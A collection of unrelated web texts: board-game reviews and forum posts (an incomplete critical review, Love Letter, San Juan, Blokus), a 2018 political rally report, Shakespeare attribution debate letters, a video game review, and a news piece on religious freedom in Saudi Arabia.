Other rules just don't make intuitive sense. Farmhouses are listed as having 1 strength, but for some reason they don’t add their strength to combat on adjacent tiles, so players constantly get hung up on the fact that “well my farmhouse is there, why isn’t it part of the combat? Why does the player board even list a strength value if it doesn't participate in combat?" The “move army” action is particularly confusing, since it says that armies can move "to an adjacent tile" out of turn, but must be done "after any explorer or army movement" but "before an opponent buys offerings, buildings, or villagers." The timing here is incredibly vague; if an opponent is moving their explorer multiple spaces, do I have to wait for them to finish an entire movement or can I basically interrupt their turn, but only if they interrupt their own movement to do something? How is movement even defined in this context? If they're going to build something, do I have to move my army before they actually declare a build action, or do I wait for them to say "I'm building something" and then go "Actually, before you do that, I'm moving my army and attacking you"? Whose action takes priority in that case? Can you spend multiple gold to move your army multiple spaces at a time, or are you restricted to moving your armies at a one-to-one ratio with your opponent's movement?



A congested map in a four-player game.


I'd watched a few video overviews and a full playthrough and thus thought I had a pretty good understanding of everything, but then became immensely confused when reading the actual rules for the first time, and even more so when playing for the first time, because so many things either weren't explained clearly, or didn't make intuitive sense, or weren't covered at all. The above examples are just some of the more egregious ones; there are plenty more to be found in the rule book, which I'm not sure was ever blind-tested. The rule book seems to assume you already know things about how the game works, and it doesn't bother to clarify exceptions to the rule, or rule out alternative interpretations of the rules. Some important rules are never stated at all, while others are merely implied. Some rules are just poorly explained and difficult to understand. Learning to play the game correctly, therefore, requires a bunch of research checking the online FAQ (which only addresses a few of the more glaring issues) and digging through forum posts to find answers from the designer, whose rule explanations sometimes seem to contradict what the printed rulebook would imply.

Apparently they finally posted an updated rulebook a few days ago (here on BGG and on the second Kickstarter) while I've been writing this review. It seems to add some much needed clarity in terms of how certain rules are supposed to function, though I'm still not convinced the new explanation for army movement is as clear as it could be -- it looks like they added restrictions to moving armies out of turn, but I can't tell if that's an intended rule change or just poor wording. Interestingly, some rules from the hardcore mode have made their way into the normal rules. Notably, there's now an enforced hand limit of nine resource cards even in the standard rules, which is even more extreme than the 10 card limit in the hardcore rules, and you're also required in the normal rules to shuffle the cave shrine into the bottom half of the cave stack. Other things were also added to the rules, like being able to pay to tear down your own structures. I appreciate the designer's willingness to listen to community feedback, plus his continued dedication to the game, but I feel like these are the kinds of tweaks that could have (or rather, should have) been made during play-testing, because it's not like these are radical, sweeping changes -- they're just minor tweaks and a few extra sentences of clarification. It's better late than never, but I can't say I'm fond of paying to essentially beta-test a product.



Sharp corners get scratched easily, plus there's no art anywhere.


The components are generally pretty nice -- the custom-cut explorer meeples and the painted-resin shrines are both exquisite, the terrain hexes are made from a nice thick, dense cardboard, not to mention the color-coded, cloth draw-string component baggies and the card tuck box -- but I have some gripes here, too.

Mainly, I just hate the box. People tell me that the solid black box with reflective gold lettering looks fancy and elegant, but to me it looks bland and boring. There’s no art anywhere on it to inspire any imagery of the game's theme or what it's like to actually play, and the thin gold lettering can be difficult to read under certain lighting conditions. Usually people just see a black box and have to ask “Hey, what’s that game?” And then when I go to explain it to them, I can’t just show them the back of the box to give a visual demonstration, I have to open it up and start pulling components out, or give them an abstract description with no visuals, neither of which is particularly ideal. The solid black exterior also makes every scratch, nick, and cut on the box stand out more visibly, and those sharp corners and edges scratch really easily, leading to a lot of obnoxious white gash marks. The magnetic lid-flap seems like yet another luxurious touch, but I find it highly impractical because it doesn’t fully enclose (or even seal) the interior contents of the box, meaning that thinner components like terrain hexes easily come loose and slide out between the lid and the top lip of the box, ruling out vertical storage and making me paranoid that I'm going to randomly lose terrain hexes in transit if I take the game anywhere, because I actually have had tiles slide out.

As a nice touch, all of the artwork (printed on terrain hexes, resource cards, and on your explorer board) consists of vintage paintings from the 16th century; while this lends some authenticity to the visual flair of the game, it's a bit like using stock art to make your game -- even though the art looks really nice, it was not created with a board game in mind and therefore doesn't necessarily reflect or facilitate the actual gameplay. The terrain tiles, for instance, are cropped, monochromatic closeups of paintings that, at a glance, look like blurry color palettes to me, and so in practice the board just looks like an abstract combination of colored hexes, like you're playing an abstract strategy game. It doesn't matter thematically that it's a mountain yielding gold, because it's just "yellow" to me. The tiles also don't connect or line up in any kind of interesting way (like in Carcassonne, or The Cave, or Taluva, where elements of one tile bleed into the next to instill a sense of continuity between tiles); instead we get a generic brown border that visually separates the tiles. I'll concede and even admit that the island tiles do look visibly striking when they're set up on the table, even in spite of (or perhaps because of) their relative simplicity, so maybe I'm over-thinking this, but the graphic design just doesn't impress me.



Resources cards and brown-bordered terrain hexes.


I'm also not fond of how the designer chose to launch an expansion on Kickstarter mere weeks after finishing fulfillment of the original game. Some of the expansion ideas feel like they probably should've been in the base game already (namely, more things to flesh out the cave), and so I have to wonder why they didn't make the first cut and whether they were intentionally held out to pad out an expansion, though maybe I'm just being cynical. But really, I'm just annoyed that I felt like the designer was rushing me into a decision to back an expansion for a game that I'd barely even had a chance to play, especially with the veiled implication that these games may never come to retail. Will there be more reprint campaigns on Kickstarter in the future? Who knows, make sure you buy the expansion now to guarantee your copy! I get that the designer was probably just excited and wanted to share (what he thought was) good news right away, but it feels like a pushy sales tactic, especially when the game has only been out for a few weeks and people haven't had enough time to let the game digest. I'd only played three or four games at the time, so how was I supposed to know if I even wanted the expansion? Normally I buy an expansion because I've played the base game to death and want to breathe new life into it, not because I'm being rushed/pressured into an impulse purchase before I've even had a chance to evaluate the base game. (For the record, I opted out of the expansion and I think I'm glad I did.)

It just feels like the base game wasn’t very well thought out, like they had this cool idea and came up with some basic rules, then play-tested them with a limited audience of close friends and released the game to the public. That may not be what actually happened, but the poorly-written rulebook, the un-intuitive rules, and the minor balance issues suggest a crude level of refinement. I personally detest the insane amount of random luck in this game, but I could tolerate or possibly even appreciate it if there were at least interesting decisions to make that could allow you to mitigate luck, but it almost feels like the game plays itself. Many decisions feel completely obvious and therefore aren’t satisfying to make, while other decisions don’t even really matter. There’s not enough deep strategy to appeal to heavy gamers, and the luck element is so prevalent that even light gamers complained to me about it. None of the people I've played with (in a few different groups, at various player counts) particularly enjoyed it, while some people actively disliked it.

I like the concept, particularly the first half of the game as you’re exploring the map and wondering how the board is going to shape up, but once you get into the meat of the actual game (ie, the race aspect of trying to be the first to claim all four shrines) then it loses a lot of appeal to me. I feel like there's a good game to be made with the components and the basic gameplay concepts, but neither the core rules nor the "Hardcore Mode" rules feel that great to me and so I'd rather just play something else instead. I might still play it occasionally, to see if I can find the hidden charm that the designer sees in it, or to see if I can work out my own worthwhile tweaks to the rules, but doing so would be purely experimental, not for love of the game itself. Though to be honest, after about 10 plays I don't think I care to give it any more chances.
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by CornbreadChrist

Have you ever encountered that awkward moment when you meet new people and agree to meet up for the first time, you think you may enjoy each other's company, but you're still kind of trying to feel each other out? Not sure what topics should or shouldn't be brought up yet, small talk is rapidly running dry, the conversations getting stale, and there are increasingly more moments of silence and/or someone trying desperately to cover those voids with non-stop chatter?

Enter Love Letter. One of the greatest little card games for a bit of silly fun after a nice meal and a few glasses of wine. It's a perfect ice breaker and a phenomenal way to get people out of their shells with a touch of silly role play fun.

One of it's greatest assets as a game is its size. I leave it in the arm rest of my car, always ready for an evening with a few friends or a few new acquaintences to share a unique, quick, and memorable experience over a few drinks.

It's simplicity draws people in, and it achieves its greatest heights when people are making a bit of a fool of themselves acting like the characters on the cards and speaking in terrible English accents to each other.

I never played a game where everyone hadn't figured out the mechanics by the end of the first round, from then on out, it's just fun.

I don't want to spoil it's simplicity with long winded review, just know that it's a great little game for a small group setting practically anywhere, and once you're all done and cleaning up the cards and going on your way, perhaps mention that you have a number of other games that could lead to an enjoyable evening socializing around a game table.

The hook is bated
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by akumabro

I'm a big fan of this game but after many plays I have started to play without certain cards.

-Guard room
Reason: "Take that" feels out of place in this game.

-Hut
Reason: Rarely triggers. Not very useful, on par with Indigo plant.

-Park
Reason: Requires another specific card to be useful. More trouble than is worth.

-Library
Reason: 100% OP. Build Library in the early game and win without fail.


Does anyone else think these choices are justified?
Anyone else play with they're own selection of San Juan cards?
Let me know.





-Appendix-

Guard room (cost 1) beginning of round
All Players without a guard room reduce their hand to 6 cards (tower owners keep 12)

Hut (cost 1) trader phase
Owner draws 1 card if no good was sold

Park (cost 3) builder phase
When the owner builds over a park (using a crane), It lowers the cost of the new building buy up to 6

Library (cost 5) all phases
Owner devils the privilege for every role selected

Indigo plant (cost 1) producer phase
Owner produces one indigo

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I'm so glad they got him and he will have a decent chance at a forever home, with a hopefully happier ending than what otherwise would've been his fate. How terrifying his experience of life must have been, before Hope for Paws arrived on scene to rescue him. Thomass, they're a good group, thanks for drumming up support for their charity by sharing their videos.
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by Vooshvazool

Hello Blokus experts!

I was hopeful that someone on BGG could help me. I recently picked up a copy of Blokus at a thrift store whose box was falling apart.

The game has been a huge success with my family and a couple who regularly comes to play games but keeping all the items together without the box is a bit vexing.

Suddenly I find myself at my mother-in-laws house with access to a sewing machine and the perfect fabric to make a form fitting draw bag to store the board and pieces... but do I have the dimensions if the board? Of course not cry

Is there anyone who can measure the length, width and height of their Mattel board and let me know the basic measurements? It would be much appreciated!
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by Talenn

Ok, still trying to learn the game. But I don't see any procedure for this adjustment? I haven't seen the question asked anywhere so I'm presuming I'm just missing something but how does this work?

Do you remove that number of counters from anywhere you choose (target or approach)? Or does it modify the number of draws in EACH zone? Or what?

Any idea how this actually works?

Thanks!
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We've been telling you about Vote Common Good ever since Ted Lieu and I sat down with the nascent group in a private room behind Ted's favorite restaurant. The tour started last week in Pennsylvania. Thursday it gets to Sioux City to rally with J.D. Scholten at the Grandview Park Bandshell. Saturday afternoon they'll be with Kara Eastman at Miller Park Pavilion in Omaha and a week from today... if you're in Wichita, it's James Thompson day at Farm and Art Market Plaza. There's also a week in Texas before meeting up with Ammar Campa-Najjar in Escondido on October 26 and traveling all over California 'til election day, rallies with Mike Levin, Harley Rouda, the 2 Katies (Porter and Hill) and then more in the Central Valley.

One of the early events was last Sunday afternoon at the Morgantown Farmers Market with progressive Democrat Kendra Fershee. "Vote Common Good," she told us, "is a perfect example of what America needs right now: an organization interested in rebuilding the bridges that have been crumbling for a long time. Instead of working toward solutions, we're tearing each other apart and forgetting who we are as Americans. We are straying from our core values: fairness, care, liberty, authority, sanctity, and loyalty. Vote Common Good has set out to remind us of why we love this country and why we need elected officials who are committed to doing what's right instead of what's politically expedient. There were people at the event who didn't expect to enjoy it as much as they did. It really was one of those 'feel good' events for me that give me the chance to reflect again on why I'm running for Congress and what my mission there will be: to serve the people of West Virginia."

Local newspapers have been covering the events in their own towns, but yesterday, one of the most influential evangelical newspapers in the country, the Christian Post ran a feature about the tour. The Post's executive editor is Richard Land, president of Southern Evangelical Seminary, and president emeritus of the Southern Baptist Convention’s Ethics & Religious Liberty Commission.
A politically-liberal Christian organization will host get-out-the-vote "revivals" in nearly 30 towns across the nation this coming month in an effort to unseat Republican members of Congress this fall.

Led by Minnesota pastor Doug Pagitt and fueled by opposition to Trump administration policies, "Vote Common Good" rallies will be held in at least 10 states before the Nov. 6 midterm elections. The rallies will feature live worship music and a rotating cast of mostly left-leaning Christian leaders, authors and activists who will attest to why Christians should vote for the Democrats.

The stated goal of Vote Common Good, which is the brainchild of a meeting of anti-Trump evangelical leaders that took place in Colorado in May, is to "flip Congress for the common good."

"A lot of people we talk to are in a crisis of their faith because they really feel like their leaders and their overall Christian narrative has turned in such a way that things that they thought were commitments and unshakable values of human rights and family values and decency have just been sold out for a bowl of porridge," Pagitt told The Christian Post. "There is a real crisis."

The bus tour kicked off with a rally in Allentown, Pennsylvania, on Tuesday and a rally in Lancaster, Pennsylvania, on Wednesday. On Thursday, a rally was held in Richmond, Virginia.

Doug Pagitt in Allentown, PA


"We don't just say we are running it like a revival. It really is a revival," Pagitt, the pastor of Solomon's Porch in South Minneapolis, said. "The theme of it is 'from fear to faith for the common good.' That is the branding around the particular event."

According to the organizers, the tour will hit at least 34 congressional districts, some of which are in states that have key Senate races, such as Missouri, Arizona and Texas.

Vote Common Good relied on the help of Rep. Ted Lieu (D-CA), a regional vice chair of the Democratic Congressional Campaign Committee, in deciding which areas of the country the tour should target.

The outfit is traveling in a three-vehicle caravan that includes a sleeper bus, an RV and a truck that pulls its mobile stage that allows it to set up tour events outside.

Most rallies will feature music from New York City church and bar musician Vince Anderson and soul singer Meah Pace. The organization also lists about 25 known Christian leaders who will speak at the events. The cast of speakers speaking at each event will vary depending on speakers' individual availability.

While some of the speakers might speak at most rallies, some will only speak at a handful.

Those expected to speak include author and activist Brian McLaren, author Frank Schaeffer, activist Shane Claiborne, Pastor John Pavlovitz, Pastor Rob Schenck and Rev. Jacqui Lewis, a minister at Middle Collegiate Church in New York City who advocates for LGBT and racial equality.

"We are not reflexively partisan or reflexively Democrats," Pagitt declared. "Our statement is that the Trump administration is a hazard to the wellbeing of a lot of people and to the planet and needs to be restrained. The common good calls us this election to respond with our vote."

Pagitt, who was arrested earlier this year for protesting illegal immigrant family separations at the White House, admits that the aim of the tour "feels very partisan." However, he explained that he can imagine a time when Congress is the hands of the Democrats and Vote Common God is calling for a flip in Congress yet again. Among other things, Vote Common Good objects to the Trump administration's policies on refugees, health care, immigration, and the 2017 tax overhaul and poverty.

Pagitt asserts that some of the areas the tour will stop in are districts that voted for a Republican in 2016 House elections.

"[W]e are saying to a lot of these voters who voted Republican in the past that maybe it is time to offer your vote on behalf of someone else and to not only think of your own self interest when you vote," Pagitt explained. "It is a little surprising that this comes as fresh news to Christian people who are often very selfless in other areas of their lives."

Considering that many conservative Republicans voted for President Donald Trump and Republicans in 2016 because of promises to advance pro-life policies, Pagitt refuted the notion that conservative Christians are voting for "someone else" when they support candidates with pro-life policy stances.

"Some people use that as an easy block because some of these people have been voting this way since 1972 and abortion is still legal in this country," he said. "So, it is not a very wise voting standard. If that is what you are doing, it is not really working. Making abortion illegal and reducing the number of abortions are not connected to one another."

"We have three decades of information now that tell us about what we can do to reduce the number of abortions in this country," he added. "You can be anti-abortion and not have to feel like you are compelled to vote for people who want to put kids in cages or limit the number of refugees or takeaway health care or who are hawkish on war. Those things don't have to go together and if they keep telling you they are, they are lying to you."

According to Pagitt, Vote Common Good is not looking to "change people's minds" through this tour.

"We are trying to encourage people whose minds have already changed that they need to stay true to their faith and vote along their changed mind," Pagitt said. "We call that changed-mind repentance. If they have already repented and changed their mind and perspective, their faith should follow. We are not here to have a debate about the issues."

Ultimately, Vote Common Good wants those who attend their rallies to understand how important the midterm elections are, even though most voters usually don't vote in them.

"I think more people are tuned in right now than in some other midterm election," Pagitt said. "I will be honest, I have missed a lot of midterm elections and haven't always voted in them. This one feels a little different and we want people to know that they are not alone."

On the right side of the political spectrum, conservative evangelical grassroots organizations like the Family Policy Alliance and the Faith & Freedom Coalition are spending millions on efforts to encourage social conservative voters to vote in the 2018 midterms.

The midterm elections will come as the Trump administration has advanced religious freedom and pro-life policies favored by conservative Christians at an unprecedented rate in his first two years in office.

"People need to remember that President Trump is not on the ballot this year but with those that are on the ballot, there is going to be a choice between a candidate who will advance life and religious freedom and family and there will be a candidate who doesn't," Autumn Leva, vice president of strategy at the Family Policy Institute, told CP last week. "If voters don't show up to support the pro-family candidate, then we are going to have a very big problem passing pro-family policies when it comes to the laws that are advanced at the state level and federal level next year."


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The Shakespeare Conference: SHK 29.0340  Tuesday, 9 October 2018

 

[1] From:        Brian Vickers <vickersbw@gmail.com>

     Date:         October 7, 2018 at 6:06:05 AM EDT

     Subj:         Attribution Studies 

 

[2] From:        Gerald E. Downs <jerrydowns@aol.com>

     Date:         October 9, 2018 at 12:09:52 AM EDT

     Subj:         Re: Attribution Article 

 

 

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From:        Brian Vickers <vickersbw@gmail.com>

Date:         October 7, 2018 at 6:06:05 AM EDT

Subject:    Attribution Studies

 

Letter to Shaksper 6.10.18

 

 Attribution Studies Article

 

Dear SHAKSPERians,

 

In his recent posting (SHK 29.0314, 9 September 2018) Gabriel Egan acknowledged the ‘possibility’ that ‘the criticisms of the use of Zeta made in Pervez Rizvi’s new article “The Interpretation of Zeta Test Results” indicate errors to be corrected’. He added: ‘It’s not possible that errors regarding the interpretation of Zeta results fundamentally undermine the entire New Oxford Shakespeare set of attributions, because Zeta is only one of the methods used in the book’, but he announced that he was ‘in contact with the contributors concerned to see if they want to mount a rebuttal.’ Both points are eminently acceptable. The nineteen contributors to this volume used several different methods and should any of them prove deficient, Gabriel is not responsible.

 

In connection with this ‘possibility’ I want to take up a point mentioned in my subsequent posting (SHK 29.0322 ,12 September 2018), namely that the Authorship Companion has a disturbing tendency to gloss over scholarship critical of NOS attributions. The instance I cited was Peter Kirwan’s trenchant critique of Arthur Kinney’s claim that Shakespeare wrote several scenes in Arden of Faversham; the AC converted that critique into a partial endorsement of Kinney’s claims.

 

Another instance of the process occurs in MacDonald Jackson’s essay ‘Shakespeare, Arden of Faversham, and A Lover’s Complaint. A Review of Reviews’ (pp. 123-35), in which he rejected my attribution to Kyd. Jackson wrote:

 

Vickers draws attention to his personal website on which he lists the numerous verbal parallels between Arden and Kyd’s plays that were gathered by early twentieth-century scholars. But these were collected according to no principles that filtered them for rarity or that allowed parallels by other authorial candidates to be accumulated on equal terms. A satisfactory methodology requires that from the outset all candidates be treated the same way. (p. 132). 

 

It is curious, to begin with, that Jackson failed to give a link to my website, so let me do that right away: see http://www.brianvickers.uk/?page_id=808  There I document the work of three scholars working independently between1903 and 1948, one English (Charles Crawford), one German (Walter Miksch), and one Danish (Paul Rubow), who identified over a hundred close verbal matches between Kyd’s plays and Arden of Faversham. These were unusual phrases and exact verbal echoes, both of language and thought, many of them the utterances of similar characters in similar dramatic situations, which fulfilled all the criteria of admissible evidence. 

 

MacDonald Jackson has long known of this strong scholarly tradition, for in his 1963 Oxford B. Litt. thesis, ‘Material for an edition of Arden of Faversham’, he briefly discussed ‘The Case for Kyd’, dismissing their discovery of ‘trivial’ and ‘inconsequential verbal parallels’ (113). At this stage in his career Jackson denied any value to such evidence, declaring that ‘the Elizabethans drew on a common stock of dramatic diction and everybody borrowed from everybody else’ (98), but since then he has accepted its validity. In his recent monograph, Determining the Shakespeare Canon (Oxford, 2014), he referred to these scholars, conceding that their ‘basic assumption was right—that playwrights have individual habits as phrasemakers and tend to echo themselves more often than they echo others’, a proper scholarly observation. But in the next breath he declared that ‘the value of these parallels put forward could not be reliably assessed, because the search for them had been haphazard and biased by the scholar’s preconceptions’ (16). It may not have been systematic by modern criteria, but there is no evidence of bias. If scholars with as wide a knowledge of Elizabethan drama as Charles Crawford and H. Dugdale Sykes declare that the evidence of Kyd’s authorship is overwhelming they are not bound to review every other candidate. If someone has a better suggestion the onus is on them to produce the evidence. Whatever the methodology, the fact is that the ‘numerous verbal matches’ that they found amount to a very strong argument for Kyd’s authorship that ought not to be suppressed.

 

Since 2002 Jackson has advocated using the Literature Online database (LION) to collect verbal parallels. In effect, he has been pursuing the same goal as these discredited scholars but by different means. In his 2006 Shakespeare Quarterly article, ‘Shakespeare and the Quarrel Scene in Arden of Faversham’, reprinted in Determining (pp.9-39), Jackson described how he ‘methodically’ searched for verbal matches with the Quarrel scene, discovering that ‘Links to plays by Shakespeare are overwhelmingly predominant’ (p. 20). However, Jackson admitted that all 18 Shakespeare plays post-dated Arden, which renders his evidence suspect. The links could be due to imitation, or to Shakespeare’s recollection of performances he had acted in.  But the remarkable fact about these searches was that Jackson found only 8 matches with Kyd’s plays – several of which had been known since 1903. As will be shown elsewhere, the true count for parallels between the Quarrel scene and Kyd’s works is over 70. If the LION search missed so many, then either the search engine is deficient or ‘the scholar’s preconceptions’ need to be examined. Either way, Jackson’s suppression of the evidence for Kyd is another instance of the Authorship Companion ignoring scholarship critical of NOS attributions, while his advocacy, since 1963, of Shakespeare’s part authorship has been one of the longest one-horse races ever.

 

Brian Vickers

 

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From:        Gerald E. Downs <jerrydowns@aol.com>

Date:         October 9, 2018 at 12:09:52 AM EDT

Subject:    Re: Attribution Article

 

Pervez Rizvi’s article on the ‘Zeta test’ is perceptive. I’d previously read “Use of spellings for compositor attribution in the First Folio” (PBSA 110:1–53), which shows a rare knack for inquiry. Statistical methods of attribution need correction.

 

Old-fashioned analyses add perspective to “Non-Traditional Authorship Attribution Studies of William Shakespeare’s Canon: Some Caveats” (Joseph Rudman, JEMS 5, 2016). Concluding that “a valid study is not attainable with the limits of present-day knowledge”, Rudman helps suggest that knowledge is more limited than most suppose. Starting with his ‘givens’: 

  1. Shakespeare was an actor and playwright – exactly who he was is not relevant here.
  1. The First Folio [F, 1623] constitutes the basis of . . . Shakespeare’s canon. (Footnote . . . there is a large and unknown time gap between the final holograph . . . and that play [in F], a potentially fatal flaw.
  1. No non-traditional authorship attribution study should be undertaken until an exhaustive traditional study is finished.

But ‘inexactly who Shakespeare was’ is all that is relevant to the targeted ‘readers’; scholars minimize textual effects of ‘time gaps’ to buffer biography.

 

These are not intellectual lightweights trading criticisms . . . . Vickers, Jackson, Burrows, and Craig, among many others, are at the top of their disciplines. . . . There is not enough agreement on the basics . . . to convince each other, let alone the less sophisticated reader.

 

Those sharing flawed assumptions will always be wrong and angry but one needn’t know attribution to know the unsophisticated attribution audience.

 

One view is that stylistics becomes scientific when it argues by means of numbers; but this is . . . science which leaves out . . . and, most importantly, the power to generate explanations.

 

What stylometry offers . . . is not a science but a mathematisation of stylistics – a new way of discriminating between forms of language behaviour . . . that is not as yet a way of accounting for them. (Rudman citing Love, 2002, 160-61)

 

To me, science is genuine inquiry; in this case into textual history, where any ‘generated explanation’ is hypothesis—an accounting for differences in ‘forms of language behavior.’ Attribution study isn’t merely science’s way of filling in the blanks around what Bardolatry already ‘knows.’

 

Reproducibility is the backbone of any non-traditional authorship study. I have yet to see an argument against the concept.

 

Rudman probably missed Taylor’s 1983 assertion that reproducing Blayney’s Q1 Lear ‘foul papers’ case would be “churlish.” Now Blayney says he made no case: whether it would be traditional or reproducible is moot; but it warns that if Q1 Lear doesn’t represent an authorial draft, then the derivative F Lear can’t well help attribution studies. Backbones don’t grow from ‘stem sell’ assumptions.

 

a valid [NTAS] on the canon . . . must have a body of ‘known’ Shakespearean texts and ‘known’ control texts . . . . What this means is that every word . . . in the known Shakespeare be by Shakespeare! (Horton, 1987) . . . A bug-free text . . . is a logical impossibility, since . . . [they’re] ineluctably multiple, and that in many cruces [there’s] no final ‘accurate’ version. (Best, 2007)

 

Rudman’s interesting quotes aren’t that helpful. F is corrupt, coming and going; questions aren’t just about ‘bugs.’ Such terms overlook contamination’s extent.

 

Hinman [Printing & Proof-reading F] states: ‘There are hundreds of variants . . . such changes as it did produce tended rather to corrupt than to recover and preserve what Shakespeare wrote.’

 

According to Blayney, Hinman overlooked foul proofing before presswork; which means variants are only the known part of F changes. Further, F reprints the corrupt Q1 Lear (among many other reprints), which was itself foul-proofed after an unknown prior life in transmission. 

 

Rewriting and collaboration are much bigger problems . . . . There are so many different kinds of collaboration that we will never be able to delete them out of the Shakespeare plays.

 

Collaboration implies writing together. A primary ‘attribution’ aim is to identify playwrights working with Shakespeare; but rewriting needn’t be collaborative, which only extensive interchange can prove. What’s the ‘current knowledge’ chance for that? Co-author is similarly misleading.

 

It should also be clear that critics need to account for the relentless change texts are subjected to as they pass through various . . . networks. (Farmer, 2002) 

 

It is crucial [to] eliminate . . . changes before finalizing the input text. But we cannot. [We can’t] identify the vast majority of them[, subtract out this background noise, or] know if we have a ‘pure’ sample . . . .

 

‘Pure Shakespeare’ is imaginary: F reprints Q1 R3: “. . . literally hundreds of variants . . . frequently taking the form of transposition of words and phrases . . . [and their movement] from one speech to another . . . extensive use of synonyms . . . changes in tense . . . other grammatical variations . . . other, less readily definable changes, which sometimes hardly affect the meaning . . .” (Arden 2). The NOS (Jowett) claims that Q1 stems (authorially and memorially) from F’s authorial copy-text. Past opinion had Q1 memorially reporting F: how to sample such text? If F reprints (and freely alters) Q1’s theatrical report (as I believe), no F remnant is valid (Q1 would represent unknown transmissions).

 

The NOS NTAS foundation is Gary Taylor’s proposition that Shakespeare himself revised Q1 Lear itself (1608!) into F Lear: not because it’s true, or that math happens. It just keeps authorial involved for any who will believe. The ‘theory’ can’t be defended—though Gabriel Egan hears from (other) NOS editors that the case is “settled.” For them, attribution study is a tool—not for learning but obfuscation. Those looking for collaboration march to the same drum. I think the best ‘Shakespeare or not’ judges, so far, are traditional (human) textual analysts.

 

Gerald E. Downs

 

 

 

 


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Have you ever wondered what would happen if you took a harem anime, a tales game, and Eternal Sonata, and wrapped them all up together into a bundle? Well wonder no further fam because Sega answered this quandary.

Shining Resonance Refrain is an action RPG with a flare for a dating sim. There are many top tier waifus in this game and while I have found myself cringing at some of the cheesy dialogue, the overused harem anime tropes, and the alternate, "outfits", for out lady heroines I can say that thus far the game has been enjoyable despite it's cliches. I have yet to beat the game but I feel I have played enough to give a fair opinion of it.

The story: if you're searching for originality you're not gonna find it here. It's a standard, boy has super power that he's afraid of while friendship saves him from losing control trope. If you have ever watched a shonin anime then you know exactly what to expect. However despite this the world and it's lore do offer a little in terms of substance from the brief bestiary entries, to the in game dictionary that fills with information as you progress and learn more of the world. Overall, despite it being very over done in every shonin ever I do find myself enjoying the story as it unfolds. I guess if it was bad, anime wouldn't have been repeating it for decades.

Character: the English voice acting of the characters is surprisingly well done and believable so if you struggle with playing a game in Japan VA you won't be turned off for this. The characters are extremely one note in personality unfortunately.. you have the knight princess trope, the struggles to understand others air head girl trope, the afraid of his power and self doubt MC who always pulls through due to friendship, the flirty girl who teases innocent MC, the overbearing brother/siscon, and as always the loli you save that clings to you. While I was able to enjoy the story thus far despite the cliches, this has been a sour note for me. The characters are so shoe horned into these tropes that it's become difficult to root for them or relate to any of them at all. One of my biggest gripes has to be the self loathing of the MC, the guy is borderline insufferable.

Combat: so combat behaves much like any action rpg, you can freely control your character, attack, Dodge, block, cast, the whole shebang. It's very fluid and each character feels completely different in combat and this alone could be what brings me back for multiple play through. You can see every enemy in the field maps and can avoid or run into them which will then take you into battle. If you recall I mentioned Eternal Sonata at the beginning of this, well here is where I explain. So every character but the MC has a weapon that doubles as an instrument. Now while this does sound lame to most it is done pretty well honestly. From one girls violin shield and the backside of her sword being the horse hair thing you use for the violin, to a guy having a massive halberd that the entirely length of it is a flute or other wind instrument, to another guy having a guitar axe it all makes somewhat sense in the weapon designs. Now with these weapons you can enter into some band type action during combat which can change the outfits of your party members and will buff your team while they continue to fight. Kinda corny but it works in the games setting. Now, there are 2 huge flaws in combat and I mean huuuuge. 1, your parties AI is beyond stupid... I have taken to playing solo for alot of boss fights because they stand in every and all aoes and ground hazardsvand just die repeatidly. You can somewhat mitigate this alittle be removing all the attack abilities on a ranged character but for God knows why they will on occasion just stroll up to melee range after casting and get destroyed... The second issue is there is no difficulty curve whatsoever in this game regardless of the difficulty you put it on. You will just breeze through bosses and normal enemies until you just can't. Out of the blue you will to from curb stomping all to getting your clock cleaned 10-15 times on a boss before going back to just breezing through combat again. I can't stress how random these spikes are and how the game pretty much just reverts back to easy sauce afterwards...

Visuals: the game is pretty, simple enough. But there is an issue with slow down when multiple spells are firing off in battles and it's pretty substantial.


All in all I can recommend this game to shonin lovers because it's very much that, a shonin. To anyone looking for depth in story or originality you're best served spending your 30 USD elsewhere.

6/10
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US envoy celebrates “unprecedented” progress under the promise of more moderate Muslim rule.


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Saudi Arabia has made unprecedented strides toward religious tolerance just a year after its young new ruler pledged to bring more moderate Islam to the Sunni kingdom.

After a visit to the capital city of Riyadh last week, US officials reported the country has reformed its religious police—once tasked with enforcing shari’ah law on the streets and in homes—and has instituted new government programs to quash extremism.

“I was surprised by the pace of change in the country. It reminded me of the verse at the end of Book of Job which says, ‘My ears had heard ... but now my eyes have seen,’” said US Commission on International Religious Freedom (USCIRF) commissioner Johnnie Moore, who has also served as an unofficial liaison between evangelical leaders and the Trump White House.

“It was the first time I have ever thought to myself, Wow, we could actually see religious freedom in Saudi. This is possible.”

Moore represents the highest-profile evangelical leader to meet with the Saudi government since 33-year-old Crown Prince Mohammed bin Salman announced plans last October to return the restrictive Muslim country to “what we were before: a country of moderate Islam that is open to all religions and to the world.” The USCIRF official formerly worked with Mark Burnett and Roma Downey’s campaign to aid persecuted Christians in the Middle East.

Fewer than 5 percent of the 32 million people living in Saudi Arabia are Christians, according to Pew Research, and the kingdom ranks No. 12 among countries where it is hardest to follow Jesus, according to Open Doors. Likewise the State Department, at USCIRF’s recommendation, has designated Saudi Arabia a “country of particular concern” since 2004 due to its egregious religious freedom violations.

The government still does not sanction churches or any form public worship by non-Muslims, but progress is being made toward allowing private worship and protecting the rights of minority faiths. 


As the conservative Muslim nation instituted new social reforms—including lifting its infamous ban on women driving—bin Salman has recently hosted a string of Christian leaders.

“It should not be lost on us that the Crown Prince has—in the last six months alone—met with the Archbishop of Canterbury, the Maronite Patriarch, and met with the Coptic Pope in Cairo and that meeting took place in front of wall-sized piece of art honoring Jesus,” Moore told CT.

“There was also a very prominent visit by the recently deceased Cardinal Tauran [a Vatican diplomat] where he signed a joint agreement to promote peaceful coexistence with the General Secretary of the World Muslim League, Dr. al-Issa.”

During their visit, Moore and fellow USCIRF commissioner Nadine Maenza met with leaders across the government, including the Commission for the Promotion of Virtue and the Prevention of Vice, which promotes Islamic moral code.

According to Moore, the commission—once the greatest barrier to private worship—no longer has authority to go into people’s homes or to make arrests. He said Christians in Saudi Arabia have already felt the effects of the reform under bin Salman and support the changes.

Additionally, the USCIRF delegation met with the government ministries tasked with cracking down on religious extremism by establishing educational programs and monitoring teaching in mosques. Under a Muslim constitution, Saudi Arabia continues to have laws against apostasy and conversion, though there a signs they may be becoming less strict in their implementation.

The changes now coming to Saudi Arabia have been anticipated for over a year. “The days of a religious monopoly in Saudi Arabia are over,” Daoud Kuttab, a Christian Palestinian journalist, told CT last fall, noting mixed motivations—social and economic—for the changes. “No more pushing Islam down every citizen’s throat.”

